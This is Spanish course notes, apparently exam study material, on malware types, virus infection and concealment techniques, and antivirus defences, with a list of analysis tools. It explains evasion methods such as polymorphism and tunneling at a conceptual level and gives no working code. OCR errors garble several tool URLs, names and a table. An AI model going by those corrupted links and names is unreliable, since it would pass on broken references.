Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
0% encontró este documento útil (0 votos)
41 vistas34 páginas

Módulo 2 Examen

Descargar como docx, pdf o txt
Descargar como docx, pdf o txt
Descargar como docx, pdf o txt
Está en la página 1/ 34

MÓDULO 2: AMENAZAS EN LA RED

Malware
El software malicioso o malware es un software diseñado para comprometer un sistema
informático sin el consentimiento de su propietario. El término malware proviene de la
combinación de dos palabras: software y malicioso. Hoy en día, el software malicioso continúa
siendo un gran problema para los usuarios de Internet, debido a su variedad, crecimiento y al nivel
de peligrosidad que presenta.

Dado que el malware puede vulnerar los sistemas de distintas formas, es importante conocer y
distinguir los diferentes tipos de software malicioso que existen en la actualidad.

Para defenderse del malware se debe definir y categorizar para así tomar las medidas preventivas
oportunas. Además, es necesaria una buena concienciación por parte de los usuarios, puesto que
bajo ningún concepto deberían ejecutar software que provenga de fuentes no fiables.
Evidentemente, esto debe aplicarse con más rigor al administrador del sistema, dado que la
ejecución de un programa contaminado por parte de un administrador podría afectar seriamente
a todo el sistema. También es recomendable localizar y poner en cuarentena el malware en caso
de que se manifieste en un sistema informático, como se verá a lo largo de este módulo.

Tipos de software malicioso

El software malicioso se puede dividir en dos categorías: parásitos e independientes. Los parásitos
son fragmentos de programas que no pueden existir independientemente del programa o
aplicación, por tanto, requieren siempre un host. Los virus, bombas lógicas y puertas traseras son
ejemplos de parásitos. Por otra parte, el software malicioso independiente es un programa
autónomo que puede ser programado y ejecutado por el sistema operativo, como por ejemplo los
gusanos y bots.

Asimismo, podemos diferenciar entre las amenazas de software que no se replican y las que sí lo
hacen. Las primeras son programas o fragmentos que son activados por un disparador como, por
ejemplo, los bots, bac kdoors (puertas traseras) y bombas lógicas. Mientras que el objetivo de los
que sí se replican es producir una o más copias de sí mismos para ser activados posteriormente en
el mismo u otro sistema. Los virus o gusanos son ejemplos de software que se replica.

A continuación, se describen los tipos de software malicioso, destacando sus características y sus
efectos potenciales:

Virus. Secuencia de código que se inserta en un huésped y que puede replicarse. El huésped del
virus puede ser, por ejemplo, un documento, un fichero o un Master Boot Record (MBR). Puede
provocar distintos tipos de acciones en el sistema infectado, tales como borrar ficheros, modificar
datos almacenados o mostrar un mensaje. Su replicación conlleva un gasto de los recursos del
sistema como, por ejemplo, tiempo de CPU, espacio de disco o recursos de la red.

Gusano. Programa que se ejecuta independientemente, pudiendo propagar una versión completa
de sí mismo en otros equipos de una red. La diferencia principal entre un gusano y un virus es que
el gusano requiere de una red, mientras que el virus puede utilizar cualquier medio (un fichero de
datos, un programa, etc.). Otra diferencia es que el gusano se extiende como un programa
autónomo, mientras que el virus se propaga como un programa incluido en otros. Programar un
gusano es una tarea ardua, dado que requiere conocimientos avanzados de seguridad y redes,
tratándose de una de las amenazas que potencialmente puede causar más daño.

Conejo o Bacteria. Programa que de forma directa no daña el sistema, sino que se limita a
reproducirse, generalmente de forma exponencial, hasta que la cantidad de recursos consumidos
(memoria, procesador, disco, etc.) Produce una negación del servicio en el sistema afectado.

Caballo de Troya. Programa que realiza una función aparentemente útil para quien lo ejecuta,
pero además realiza otra función que el usuario desconoce, normalmente dañina. El troyano
quizás más conocido fue denominado trojan mule o mula de Troya, que emula un falso programa
de control de acceso a un sistema solicitando al usuario su nombre y contraseña. Una vez
introducida la información requerida, esta se envía al sistema para poder acceder a él, pero
además se almacena dicha información para utilizarla con fines nocivos. En este caso, el usuario
solo es consciente de que puede acceder al sistema (función útil), sin sospechar que se ha llevado
a cabo otra acción en paralelo

Bomba lógica. Fragmento de código insertado en un programa que permanece inactivo hasta que
se cumplen ciertas condiciones (una fecha determinada, el alcance de un número concreto de
ejecuciones del programa que lo contiene, etc.), desencadenando una acción no autorizada. Por lo
tanto, una bomba lógica puede permanecer inactiva en el sistema durante mucho tiempo.

Puerta trasera. Trozo de código añadido en un programa que permite a la persona que conoce su
funcionamiento evadir los métodos habituales de autenticación para llevar a cabo una tarea en
particular. Normalmente, son los propios programadores los que insertan estos trozos de código
en los programas con el propósito de agilizar la prueba de software durante la fase de desarrollo,
eliminándolos al obtener el producto final. Sin embargo, en algunas ocasiones el programador
puede mantener voluntaria o involuntaria mente estas puertas traseras en el programa definitivo.
Supóngase una aplicación que requiere introducir tres contraseñas distintas para llevar a cabo una
tarea de seguridad. Dado que es un procedimiento tedioso para el programador, durante la fase
de desarrollo podría insertar una rutina en el código, de modo que, si la primera contraseña
introducida es una en particular, no se soliciten las demás. Obviamente, esto se convierte en una
amenaza de seguridad si la rutina perdura en la versión definitiva del producto.

Ransonware. Software que cifra todos los ficheros de la máquina atacada. Entonces, el atacante
solicita un rescate (normal mente en Bitcoin) al usuario afectado como condición para
proporcionarle la clave de descifrado. Se recomienda no acceder al chantaje del atacante, puesto
que no hay ninguna garantía de que este proporcione dicha clave tras recibir el rescate.

Software de código móvil. Secuencia de comandos, macros o instrucciones que se pueden remitir
sin cambios a un conjunto de plataformas heterogéneas, así como ejecutarse con la misma
semántica.

Exploit. Código especifico a una sola vulnerabilidad o un conjunto de ellas.

Descargador. Programa que instala otros elementos en una máquina que está siendo atacada.
Este software malicioso se suele enviar a través del correo electrónico.
Auto-rooter. Herramienta malintencionada usada para entrar remotamente en máquinas nuevas.
Kit generador de virus. Conjunto de herramientas para generar nuevos virus automática mente.

Spammer. Programa utilizado para enviar enormes cantidades de correo electrónico no deseado.

Flooder. Se utiliza para atacar sistemas informáticos en red con un gran volumen de tráfico con el
propósito de llevar a cabo un ataque de denegación de servicio o Denial of Service (DoS).

Keylogger. Software capaz de capturar las pulsaciones de las teclas en un sistema comprometido.

Rootkit. Conjunto de herramientas utilizadas por un atacante después de que haya roto la
seguridad del sistema y haya logrado acceder a él. Este tipo de malware permite disimular la
actividad que el atacante realiza sobre la máquina afectada.

Zombio Bot. Programa activado en una máquina infectada que se activa para lanzar ataques a
otras máquinas.

Spyware. Software que recopila información de un ordenador y la transmite a otro sistema.

Adware. Publicidad que se integra en un software, dando lugar a anuncios pop-up o la redirección
de un navegador a un sitio comercial.

Entre algunas de las definiciones que hemos dado anteriormente existen diferencias pequeñas, de
forma que, popularmente, muchos de los términos anteriores se confunden y se suele denominar
virus a cualquier pieza de código nocivo.

Dada la difusa línea de separación entre algunos de los tipos de software malicioso, en la siguiente
sección describiremos cómo se expande el código nocivo, cómo se activa, y los efectos que puede
tener.
Cabe destacar que, aunque utilizaremos casi en exclusiva el nombre de virus, estos aspectos se
pueden aplicar también a otros tipos de código malicioso.

Tipos de virus y gusanos


Los virus y gusanos se pueden clasificar atendiendo a las siguientes categorías:

 Virus y gusanos de fichero binario.


 Gusanos de flujo binario (stream woms).
 Virus y gusanos de scripts.
 Virus de macro,
 Virus que infectan el sector de arranque.
 Virus multiparte.

Virus y gusanos de ficheros binario


Se trata de virus que infectan los ficheros ejecutables. El fichero que contiene el virus se añade a si
mismo a un fichero ejecutable (el huésped) y utiliza diferentes técnicas para infectar otros ficheros
ejecutables.
Existen diversas técnicas básicas para infectar un fichero ejecutable como, por ejemplo, compañía,
enlace, sobre escritura, inserción y adición.

Un virus de compañía no modifica su huésped directamente. En vez de eso, se las arregla para que
el sistema operativo lo ejecute en vez de al huésped. Algunas veces esto se consigue renombrando
el huésped con otro nombre, y nombrando al fichero que contiene el virus con el nombre del
programa original. En el sistema MS-DOS cuando se le proporciona el nombre de un programa sin
especificar la extensión, automáticamente se busca un fichero.com, esto es aprovechado por el
virus que toma el nombre de un fichero ejecutable y se pone la extensión .com; así cuando
alguien llame al programa original por su nombre se ejecutará el virus. Por ejemplo, supongamos
que existe en un directorio un fichero denominado editexe, el virus puede adoptar el nombre
editcom, así cuando alguien llame al programa con edit se ejecutará el virus en vez del programa
original.

Un virus de enlace hace cambios a bajo nivel en el sistema de ficheros, de tal forma que el nombre
del fichero no apunte al programa original, sino a una copia del virus. Es posible, incluso, hacer que
todos los programas apunten a una única copia del virus (véase Figura 3.1).

Directorio Disco
A.EXE Posición A Programa A.EXE
BEXE Posición B Programa B.EXE

Directorio Disco
A.EXE Posición V Programa A.EXE
BEXE Posición V Programa B.EXE

V IRUS
Figura 3.1 Virus de enlace

Un virus de sobre escritura se coloca a sí mismo al principio del programa, directamente sobre el
código original, de forma que el programa resulta dañado. Cuando se intenta ejecutar el
programa, este no hace nada, sino que es el virus el que se ejecuta infectando otro fichero (véase
Figura 4.1).

VIRUS

Fichero ejecutable

Figura 41 Virus de sobreescritira


Estos virus son fácilmente detenidos y destruidos por los usuarios, por lo que actualmente no se
extienden mucho.

La forma más simple en que se puede insertar un virus en un programa huésped es colocándose al
principio de este, sin modificar el código original. Así al ejecutar el programa, primero se ejecutará
el virus y posteriormente el programa original, sin que el usuario pueda notar ningún cambio en la
ejecución de este (véase Figura 5.1).

Figura 5.1 Virus de inserción

Otra posibilidad es que el virus se copie a sí mismo en el programa huésped utilizando áreas del
programa que no se usen. El virus también puede estar diseñado para mover una gran porción del
programa huésped a otro lugar y ocupar el espacio vacante.

Una forma más sofisticada de unirse al programa huésped es la siguiente. El virus coloca una
instrucción de salto al principio del programa, mueve el comienzo del fichero original al final de
este, y se coloca así mismo al final del todo. Cuando se intenta ejecutar el programa, la instrucción
de salto llama al virus, y este se ejecuta. Entonces el virus mueve el principio del programa a su
posición original y deja que este se ejecute (véase Fi gura reffig: virus-append2). Los gusanos de
fichero binario en vez de centrarse en infectar otros ficheros, lo hacen en extenderse a otras
máquinas.

Gusanos de flujo

Los gusanos de flujo constituyen un grupo de gusanos que se distribuyen a través de la red y que
nunca se manifiestan como ficheros. Estos viajan de ordenador en ordenador únicamente como
trozos de código que solo se almacenan en la memoria principal. El más conocido de este grupo es
la serie Código rojo.

Virus y gusanos de scripts


Los seripts son programas que contienen instrucciones que son interpretadas por otro programa.

Existen distintos lenguajes de script:

Scripts de Visual Basic. Se puede encontrar como ficheros independientes con extensión VBS o
insertados en páginas web. Los scripts de Visual Basic tienen una funcionalidad que es un
subconjunto del lenguaje Microsoft Visual Basic, y que se puede Expandir importando funciones
de otros programas.

Por ejemplo, muchas funciones de Microsoft Word pueden ser utilizadas mediante estos scripts.

JavaScript. Este lenguaje de script fue introducido por Sun Microsystems junto con el desarrollo
del HTML estándar. Suele usarse en páginas web.

JScript. Es la versión de Microsoft de JavaScript. Es casi tan flexible y ampliable (e inseguro) como
Visual Basic Script. Se puede encontrar en ficheros de extensión JS o en páginas web.

Shell scripts de UNIX. Son programas escritos en algunos de los lenguajes de shell que existen para
UNIX. En estos scripts se pueden utilizar cualquier orden de UNIX, lo que los hace muy potentes.

Scripts IRC. El Internet Relay Chat es un sistema de debate para Internet. Se pueden crear scripts
para estos sistemas de forma que realicen ciertas tareas de forma automática, como por ejemplo
el envió de un saludo a alguien que se acaba de conectar. Sin embargo, los scripts también
soportan el envío de ficheros, lo que permite que gusanos y virus se expandan mediante el IRC.

Virus de macro
Los virus de macro infectan ficheros de datos, o ficheros que normal mente son percibidos como
ficheros de datos, tales como los documentos y hojas de cálculo. Muchos de estos ficheros tienen
la posibilidad de incluir instrucciones junto con el contenido normal, por ejemplo, los ficheros de
Microsoft Word pueden contener instrucciones que le indican a Word cómo mostrar un
documento particular o instrucciones que le indican a Windows que haga ciertas acciones. Casi
todas las cosas que se pueden hacer con un programa normal en un ordenador pueden ser
realizadas con las denominadas instrucciones macro.

Los virus tradicionales no intentan infectar los ficheros de datos, puesto que estos no son el
sustrato ideal para la replicación. Los virus de macro se aprovechan del hecho de que muchas
aplicaciones contienen lenguajes de programación de macros.

Estos lenguajes permiten a los usuarios (y a los creadores de los virus) más flexibilidad y potencia
dentro de la aplicación que antes, y de hecho convierten lo que solían ser ficheros de datos en
programas. A veces los virus de macro no se detectan pronto porque muchos usuarios no están
familiarizados con los matices de las macros.

Los primeros virus de macro utilizaban el lenguaje WordBasic, utilizado por las primeras versiones
de Microsoft Word. Más tarde, el lenguaje de macros más utilizado en los virus ha llegado a ser
VBA (Visual Basic for Applications). Este lenguaje es compartido por muchas aplicaciones tales
como Word, Excel, PowerPoint, Project, Visio y muchas otras.

Dado que los ficheros de datos, y en particular los documentos, son compartidos más
frecuentemente que los programas, la amenaza a la seguridad que suponen los virus de macro es
muy importante.

Algunos virus de macro contienen código destructivo y algunos incluso crean y ejecutan virus
tradicionales. Mientras los virus tradicionales afectan a la operación de una máquina, los virus de
macro afectan a la calidad y fiabilidad de la información contenida en los ficheros de datos.

Virus infectan los sectores de arranque

Estos virus infectan los sectores de arranque de los discos duros. El MBS (Master Boot Sector) está
localizado en todas las unidades de disco duro. Contiene, entre otros datos, información sobre la
tabla de particiones, y un pequeño programa que puede interpretar la información de la partición
para encontrar dónde está localizado el SBS (System Boot Sector). El MBS es independiente del
sistema operativo. El SBS contiene, entre otros datos, un programa cuyo propósito es encontrar y
ejecutar un sistema operativo.
Para entender cómo funcionan estos virus, es necesario entender el proceso de arranque, que
describimos a continuación.

Cuando encendemos el ordenador los BIOS (Basic Input'Output System), controla el proceso de
arranque. El siguiente proceso que se ejecuta se llama POST (Power On Self Test) y se asegura de
que el computador está trabajando correctamente. Una función del POST que todos los usuarios
recuerdan es la que cuenta la cantidad de memoria RAM que tiene la máquina.

La acción final de POST es lanzar el proceso de arranque. La primera tarea consiste en determinar
si hay o no, por ejemplo, un dispositivo en el lector del ordenador. Si lo hay, se lee el System Boot
Sector, y la máquina intenta arrancar de él. Si el dispositivo no es de arranque, aparecerá en la
pantalla un mensaje de error.

Cuando no hay un dispositivo, se lee el MBS del disco duro, y esto arrancará el sistema operativo.

Este proceso de arranque es el mismo independiente del sistema operativo que se arranque, las
diferencias aparecen cuando se carga el sistema operativo.

Si arrancamos la máquina con un dispositivo que tiene un virus, el virus se activará, se quedará
residente en memoria e infectará las áreas del sistema del disco duro.

Virus multiparte

Son una combinación de distintos tipos de virus, pudiendo infectar tanto los ficheros ejecutables
como los sectores de arranque, o ficheros ejecutables y de datos. Son capaces de infectar a través
de las redes.

Fases de actuación de los virus

Para comprender mejor la forma de actuar de los virus, se explicará cuáles son las fases que se
distinguen en su ciclo de vida. Podemos distinguir las siguientes:

 Llegada al sistema.
 Instalación.
 Activación y control del sistema.
 Ocultamiento.
 Reproducción o propagación.
 Manifestación.

La llegada al sistema

La llegada del virus al sistema será a través de alguna vía de comunicación con el exterior, la red,
una unidad de almacena miento secundario (dispositivo, etc.).

Esta llegada del virus a través de la red puede provenir de diversas acciones:

 Un usuario copia un fichero infectado.


 El virus se envía junto a un mensaje de correo electrónico como un fichero adjunto.
 Un intruso ha accedido al sistema e introduce el virus.
 Se encuentra incluido en una rutina ejecutable en el cliente en una sesión web.

La entrada de un virus desde un dispositivo de almacenamiento secundario puede ser debida a:

 Se ha copiado un fichero infectado en el disco.


 Se ha ejecutado un fichero del disco contaminado previamente.
 Se ha arrancado el sistema con un disco contaminado.
 Se ha abierto un fichero contaminado con un virus de macro.

Instalación

Esta es la fase en la que un sistema queda infectado con el virus, al instalarse este en la máquina
huésped. Este hecho se produce en el momento en que el código del virus se ejecuta por primera
vez en esa máquina, por lo que en algunos casos esta fase se solapa con la de llegada al sistema.

Las técnicas básicas que utilizan los virus para su instalación en el huésped se encuentran descritas
en la Sección anterior.

Activación y control del sistema.

Para poder actuar, especialmente para propagarse a otros programas, el virus necesita hacerse
con el control de la máquina, aunque sea de forma momentánea o intermitente. La manera en
que va a ejercer este control influye radicalmente en el método elegido para la instalación, y
tendrá influencia en la fase posterior de ocultamiento. En algunos casos, la activación del virus
coincide temporal y lógicamente con su instalación, pero en otros casos estas fases están
claramente diferenciadas. Desde que se activa por primera vez hasta que manifiesta sus efectos se
dice que el virus está en período de latencia.
Hay dos formas principales de tomar el control: los virus de acción directa y los virus residentes.

Los virus de acción directa son los que actúan al comienzo de la ejecución de un programa
infectado o al ejecutarse una macro vírica. El virus aprovecha este momento para propagarse,
comprobar si ha llegado la hora de manifestarse, o para realizar cualquier otra acción maligna.
Dado que su objetivo es poder actuar el mayor número de veces posible, los virus de acción
directa suelen emplear como huéspedes programas de uso frecuente.

Los virus residentes aprovechan el momento de su activación para instalarse en memoria. Una vez
residente en memoria, y para que el código maligno pueda ejecutarse, necesita ser llamado en
algún momento durante la ejecución de otros programas. Ló que se hace para ello es aprovechar
las llamadas a las rutinas de atención de las interrupciones del procesador. La interrupción
preferida suele ser la del reloj, ya que se ejecuta a intervalos regulares. Con este mecanismo
simple, el virus se asegura una constante actividad, que aprovechará para reproducirse
contaminando otros ficheros del sistema.

Ocultamiento
Durante el periodo de latencia en el que está tratando de asegurar su difusión, el virus debe evitar
ser descubierto y eliminado. Para ello necesita de técnicas que le permitan ocultarse a los ojos de
los usuarios y, sobre todo, que lo pongan fuera del alcance de los sistemas antivirus.
Generalmente, la estrategia de ocultamiento suele estar unida a la de contaminación. El código del
virus está mezclado con el código del programa que le sirve de huésped, pero algunas veces el
virus tiene un tamaño grande y ocupa demasiado espacio dentro del fichero. La técnica más básica
de ocultamiento es la dispersión, esto es, el virus se divide, dejando una parte pequeña en el
huésped y guardando el resto en algún lugar oculto, para que no sea detectada por inspecciones
simples.

Para ocultar su código en el disco, el virus suele utilizar una de estas tres técnicas clásicas:

 Marcar el fichero donde está almacenado como fichero oculto, lo que hará que este no
sea listado.
 Almacenar su código en uno o varios sectores libres del disco, marcándolos como
defectuosos en el sistema de asignación de bloques a ficheros.
 Usar técnicas de formato no estándar, con las que se logra introducir sectores extraños,
que permanecen ocultos a los ojos del sistema operativo porque no los puede leer.

Otra técnica simple que los virus han solido utilizar es la compresión, esto es, el virus comprime el
programa huésped para que ocupe menos espacio, y así en el hueco liberado alojarse él, una
rutina de descompresión y el relleno necesario para recuperar el tamaño original.

Evidentemente, para ocultar su presencia es necesario que el usuario no aprecie un funciona


miento anormal en el sistema, por lo que debe permitir que los programas infectados parezcan
ejecutarse sin aparente alteración.

Las técnicas descritas hasta ahora no son suficientes para ocultarse frente a los modernos
antivirus, de ahí que hayan surgido técnicas de ocultamiento mucho más avanzadas. Algunas de
ellas son las siguientes:

Camuflaje (stealth). Esta técnica la utilizan los virus residentes. Engañan al sistema y al usuario
dando datos falsos, ocultando los aumentos de tamaño de los ficheros en los que se instalan, los
cambios de atributos de los ficheros, o la memoria que ocupan al quedarse residentes. Así,
esperan a que se pidan datos, y los falsean con datos recogidos antes de su instalación.

Si un virus utiliza esta técnica y el programa antivirus no dispone de un buen método


antiocultamiento, segura mente no podrá detectar la presencia del virus en los ficheros
infectados. Es importante recordar que el virus solo podrá utilizar esta técnica si está residente en
memoria.

Sobrepasamiento (Tunneling). Esta técnica se desarrolló para evitar la actuación de los programas
de protección residentes (vacunas). Estos últimos, al igual que los virus, interceptan los servicios
del sistema con el propósito de evitar que el virus actúe, por ejemplo, impidiendo que escriba
sobre el sector de arranque, que formatee discos, que modifique otros ejecutables, etc. La técnica
de sobre pasamiento permite al virus actuar sobre las direcciones originales de las rutinas que
codifican los servicios del sistema, con lo que evitan llamar la atención de las vacunas.

Autocifrado. Dado que la forma más eficaz de detectar a los virus es buscando cadenas específicas
de su código, algunos virus se transmiten de forma cifrada. Así el virus queda constituido por una
cadena de caracteres sin sentido (el código una vez cifrado) y por una rutina de descifrado. La
parte cifrada puede cambiar a voluntad del virus solo con elegir una clave diferente cada vez, por
lo que la única parte reconocible del virus son las instrucciones de la rutina de descifrado. Además,
esta técnica es útil contra los antivirus que utilizan técnicas heurísticas, ya que la mayor parte de
las acciones del virus no son visibles cuando se examina su código. Sin embargo, los antivirus se
han especializado eficazmente en localizar las rutinas de cifrado.

Polimorfismo. Esta técnica permite al virus cambiar de forma, incluso algunas veces de forma de
actuar, cada vez que se propaga. Esto desconcierta a los antivirus, pues se quedan sin cadenas de
Caracteres conocidas que intentar detectar, ya que el código varía en cada mutación del virus. La
forma más sencilla de polimorfismo es la que utilizan algunos virus autocifrados, ya que en este
caso solo es preciso mutar la rutina de descifrado.

El polimorfismo ha puesto en jaque las técnicas tradicionales de análisis estático de las secuencias
de código, y ha provocado la generalización de los procedimientos de búsqueda heurística que
hacen un análisis dinámico del código en busca de comportamientos potencial mente peligroso.

Blindaje. Son técnicas que evitan que el virus sea examinado por programas desensambladores.
Aunque el fichero que contiene el virus sea detectado, si no se puede ver su código es muy difícil
estudiar su funcionamiento y, consecuentemente, la preparación de rutinas de desinfección se
hace más costosa.

Los virus más evolucionados suelen utilizar una combinación de estas técnicas, lo que ha llevado a
un proceso de perfecciona miento de los programas antivirus.

Reproducción o propagación
Una de las características que distingue a los virus de otros programas maliciosos es su capacidad
de reproducirse. Esta es una de sus cualidades más temible, ya que hace más difícil su total
erradicación.

La capacidad reproductora del virus no es siempre la misma. Puede variar desde una única copia
(la necesaria para su instalación permanente en el sistema) a una reproducción de tipo
exponencial, en la que cada copia hace varias de sí misma, por lo que la propia función
reproductora puede agotar los recursos del sistema.

Para que la reproducción sea efectiva, la copia realizada ha de quedar permanente en alguna parte
del sistema. Como la memoria RAM es volátil, solo tiene sentido la copia en disco, infectando a
otros ficheros.

Se pueden distinguir en el proceso de reproducción las siguientes fases:

1. Búsqueda de uno o varios huéspedes donde instalarse.


2. Comprobación de que los huéspedes potenciales no han sido infectados previa mente, para
evitar instalarse varias veces en un mismo programa.
3. Recomposición de las partes del virus, que pueden estar esparcidas por el disco.
4. Copia en el programa huésped, haciendo las modificaciones pertinentes para garantizar su
ejecución.
La reproducción tiene dos posibles objetivos; ETT primer lugar, su propagación a otros sistemas;
en segundo lugar, duplicar esfuerzos en la consecución de algún fin. Por ello, la elección de
huéspedes suele hacerse minuciosamente.

Manifestación
Esta es la fase en la que los virus realizan sus acciones nocivas para el sistema. A veces actúan
dándose publicidad para dar una sorpresa o provocar el pánico. Otras lo hacen de forma secreta
para conseguir hacer el mayor daño posible. La gama de acciones que los virus son capaces de
realizar es muy amplia. Los más destructivos pueden formatear discos, borrar o sustituir ficheros o
atacar elementos programables del hardware (como las placas Flash BIOS). Otras veces los virus
pueden dejar inutilizable el sistema borrando la información sobre la posición de los ficheros en el
disco, la FAT en Windows, los nodos índices en Linux, etc.

Otros virus se especializan en atacar la confidencialidad de un sistema, tratando de buscar


contraseñas de acceso o cifrado. Tampoco es raro que un virus instale puertas traseras para
utilizarlas posteriormente.

Utilidades contra el software malicioso


La principal defensa contra los virus y contra muchos troyanos se basa en la instalación de
utilidades especializadas en su detección y desinstalación. De acuerdo con su forma de actuar, se
pueden catalogar en dos grandes grupos: las vacunas y los programas antivirus.

Vacunas
Estos programas tienen como objetivo evitar que el virus llegue a infectar el sistema, para ello
actúan como los propios virus, tomando el control de este. Las vacunas se instalan al encender el
computador, se quedan residentes en memoria y avisan de cualquier operación que pueda
significar que un virus está intentando infectar. Si sucede esto, interrumpe la ejecución y pregunta
al usuario si permite esa operación. Si el programa que se está ejecutando no tiene por qué
realizar la acción de la que se avisa, se puede sospechar que hay algún intruso en el sistema, y
bastará con indicar a la vacuna que no permita el acceso solicitado.

Las vacunas presentan algunas limitaciones:

 Se cargan al arrancar el sistema y se quedan residentes, pero están en desventaja frente a


los virus que se ejecuten antes que ellas, como los situados en el sector de arranque.
 A veces, se programan con tanto celo que pueden provocar un alto número de
interrupciones y de falsas alarmas con programas no infectados.
 Muchos creadores de virus estudian las vacunas existentes para luego crear virus que
puedan aprovecharse de sus fallos y limitaciones.

Programas antivirus
El antivirus es un software que detecta malware presente en los sistemas informáticos y trata de
desinfectarlos. Su principal objetivo consiste en proporcionar una mejor protección que la que
ofrecen los propios sistemas operativos, ofreciendo así una solución preventiva al software
malicioso infectado en las máquinas.

Los antivirus utilizan varias técnicas para identificar software malintencionado, que
frecuentemente se autoprotege y se oculta en el sistema operativo. Este tipo de protección
dificulta que se vulneren los paquetes de red, los ficheros adjuntos de los correos electrónicos, los
programas ejecutables y los navegadores.

Es conveniente realizar los siguientes pasos para protegernos adecuada mente:

 Detección: Una vez que la infección ha ocurrido, hay que determinar que se ha producido
y localizar el virus.
 Identificación: Una vez lograda la detección, identificar el virus especifico que ha infectado
el programa.
 Eliminación: Una vez que el virus específico se ha identificado, eliminar todo rastro del
virus del programa infectado y restaurar el sistema a su estado original.

También habrá que eliminar el virus de todos los programas infectados para que el virus no se
pueda propagar nueva mente. Si la detección tiene éxito, pero no es posible la identificación o la
eliminación, la alternativa es descartar el fichero infectado y restaurar una versión de copia de
seguridad limpia.

Un virus puede ser detectado utilizando métodos genéricos o bien específicos. Los métodos
genéricos buscan comportamientos habituales de los virus, sin centrarse en ninguno en particular.
Esto permite la detección de virus nuevos, no siendo necesario actualizar frecuentemente la
herramienta utilizada. Los métodos genéricos no suelen avisar al usuario del nombre del virus
concreto que tienen, sino simplemente de que pueden tener un virus.

Algunos ejemplos de métodos de detección genéricos son los siguientes:


 Checksumming y comprobación de integridad.
 Heurísticos.
 Señuelos.
 Behavior blocking.

Por otra parte, los métodos específicos se basan en el conocimiento previo del virus. En este caso,
la herramienta es capaz tanto de detectar el virus como de identificarlo. Esto trae consigo que
sean necesarias frecuentes actualizaciones.

Algunos ejemplos de métodos de detección específicos son:


 Comprobación bajo demanda y planificada.
 Comprobación al acceder (en tiempo real).

Cabe destacar que los métodos anteriores no son siempre específicos, por ejemplo, los métodos
heuristicos se implementan normal mente como partes de las comprobaciones bajo demanda y al
acceder.

Es relevante saber cuándo se detectan los virus (antes de la infección, o después de esta) y si los
métodos de detección mencionados anteriormente son capaces o no de eliminarlos. En el caso de
los métodos heuristicos pueden borrar los virus de arranque y los de macro; el behavior blocking
puede borrar virus de la memoria y los de arranque; los señuelos no pueden borrar virus mientras
que los restantes métodos sí que pueden borrarlos. En la Tabla 3.1 se resume toda esta
información.
Tabla 3.1 Métodos de detección de virus

Método Detección Borrado

Checksummiag y Ambos métodos almacenan cierta información sobre los Si


comprobación de ficheros no infectados en cieno lugar. Consisten en
integridad comprobar el estado actual de los ficheros y comparar la
información obtenida con la almacenada. Si se detecta
cualquier cambio, se produce un aviso. Este método
proporciona detección después del hecho.
Hcuristicos Este es un método de análisis de los ficheros y las áreas de Algunas
arranque para comprobar si existe código como el de los veces
virus. Realiza detección después del hecho.
Señuelos Este es un método de análisis de los ficheros y las áreas de No
arranque para comprobar si existe código como el de los
virus. Realiza detección después del hecho. Es un método
que permanece a la espera de los virus, permitiendo que
ciertos ficheros se infecten si hay un virus presente. Los
señuelos detectan virus mientras están infectando y son
útiles para avisar.
Behavior blocking Este es un método de análisis del comportamiento de Si
todas las acciones de computación para determinar si la
suma de todas ellas es como la acción de un virus. Se trata
de una detección antes del hecho.
Comprobación bajo Este es un método que comprueba la existencia de virus si
demanda y específicos en ciertos momentos. Siempre es una
planificación. detección después del hecho.
Comprobación al Sc trata de un método de comprobación, pero el proceso si
acceder. de detección se produce mientras ocurre otro proceso,
como por ejemplo copiar un fichero. Como resultado, los
usuarios pueden ser avisados de la existencia de virus
antes de que empiecen a actuar.

A continuación, se describen detalladamente dos de los enfoques y productos antivirus más


sofisticados para contrarrestar los ataques dirigidos por software malicioso: el sistema
inmunológico digital y el software de bloqueo de comportamiento.

Sistema inmunológico digital

El sistema inmunológico digital fue desarrollado por IBM y posteriormente por Symantec. Este
sistema permite emular un programa capaz de detectar el virus tan rápido como se introduzca en
la organización. El sistema inmunitario lo captura automáticamente, lo analiza, le añade
protección y blindaje, lo elimina y transmite información sobre ese Virus a sistemas que ejecutan
antivirus de IBM para que puedan detectarse antes que se produzca de nuevo en otro lugar.

Los pasos típicos en el funcionamiento del sistema inmunológico digital son los siguientes (véase
Figura 6.1):
1.-Un programa de monitorización en cada ordenador es capaz de detectar cambios sospechosos
en los programas, a partir de heuristicas basadas en el comportamiento del sistema. El programa
de monitorización envía una copia de cualquier programa que considere que pueda estar
infectado a una máquina administrativa situada dentro de la organización.

2.-La máquina administrativa cifra la muestra y envía el virus a una central para su análisis.

3.-Esta máquina crea un entorno de seguridad para analizar correctamente el programa infectado.
Las técnicas que se utilizan para este propósito incluyen la emulación o la creación de un entorno
protegido dentro del cual el programa puede ser ejecutado y monitorizado. La máquina lo analiza
y crea una «receta» para identificar y eliminar el virus.

4.-La «receta» se envía a la máquina administrativa.

5.-La máquina administrativa envía la prescripción al cliente afectado.

6.-La «receta» se envía también a otros clientes de la organización.

7.-Los suscriptores reciben regularmente actualizaciones de antivirus para protegerse de los


nuevos virus.

Figura 6.1 Sistema inmunológico digital

Software de bloqueo de comportamiento

A diferencia de los escáneres basados en huellas dactilares o métodos heuristicos, este tipo de
software se integra con el sistema operativo de un equipo y monitoriza el comportamiento del
programa en tiempo real. Bloquea acciones potencialmente malintencionadas antes de que
puedan afectar al sistema.

Este software incluye los siguientes comportamientos controlados (véase la Figura 3.6):

 Abrir, ver, eliminar o modificar ficheros.


 Intento de formatear discos duros.
 Modificación de los ajustes críticos del sistema, como los ajustes de inicio.
 Scripting de correo electrónico y clientes de mensajería instantánea para enviar contenido
ejecutable.
 Iniciación de comunicaciones de red.

Figura 7.1 Operación del software de bloqueo de comportamiento

Herramientas de malware
A continuación, se enumeran algunas herramientas de malware clasificadas por categoría:

Gestión de muestras de malware


 Viper- https:7/cithub.comviper-fiameworkviper
Información sobre un archivo
 Comando file de Linux
 Comando strings de Limx
 YARA - http://virustotal. cithub.io'yara

Analisis de un fichero PDF


 PDF Tools - https:/blo xs didierstevens.com/pro grams/pd £ tools
 SpiderMonkey - https:/blog didicrstevens com'progiams'spidermonkey:

Analisis de un fichero Adobe Flash


 Flash Decompiler Trillix-http://wwww.flash-decompiler.com/es/

Analisis de un fichero JAR


 comando unzip de Limx
 JD-GUI - http://jd .benowca

Analisis de un fichero de Microsoft Office

 Deobfirscate_chr - https://github com me/toalbox/blo b/master/deobfuscate_chr.py


 OfficeMalScanner - http://yww.reconstrixter.org/code html
 Oled ump-py - https://blog didicrstevens.com/programs/oledump-py:

